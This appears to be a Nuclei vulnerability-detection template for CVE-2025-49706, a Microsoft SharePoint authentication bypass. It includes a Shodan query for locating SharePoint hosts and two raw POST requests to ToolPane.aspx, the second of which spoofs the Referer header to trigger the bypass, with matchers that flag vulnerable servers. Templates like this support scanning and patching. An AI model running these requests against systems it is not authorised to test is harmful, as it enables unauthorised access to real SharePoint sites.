id: CVE-2025-49706
info:
name: Microsoft SharePoint Server - Authentication Bypass
author: daffainfo
severity: medium
description: |
Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.
impact: |
Unauthenticated attackers can spoof authentication by manipulating the Referer header to access ToolPane functionality, potentially enabling unauthorized actions on SharePoint sites.
remediation: |
Apply the Microsoft security patches for SharePoint Server as described in the MSRC update guide.
reference:
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706
- https://securelist.com/toolshell-explained/117045/
- https://www.wiz.io/blog/sharepoint-vulnerabilities-cve-2025-53770-cve-2025-53771-everything-you-need-to-k
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/sharepoint_toolpane_rce.rb
- https://nvd.nist.gov/vuln/detail/CVE-2025-49706
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2025-49706
epss-score: 0.99879
epss-percentile: 0.99963
cwe-id: CWE-287
metadata:
verified: true
max-request: 2
shodan-query: http.component:"sharepoint"
tags: cve,cve2025,sharepoint,auth-bypass,microsoft,vkev,kev
flow: http(1) && http(2)
http:
- raw:
- |
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
MSOTlPn_Uri=&MSOTlPn_DWP=
matchers:
- type: dsl
dsl:
- 'status_code == 301 || status_code == 302'
- 'contains(all_headers, "Microsoftsharepointteamservices")'
- 'contains(tolower(body), "object moved")'
condition: and
internal: true
- raw:
- |
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Accept-Encoding: gzip
MSOTlPn_Uri=&MSOTlPn_DWP=
matchers:
- type: dsl
dsl:
- 'status_code == 400'
- 'contains(all_headers, "Microsoftsharepointteamservices")'
condition: and
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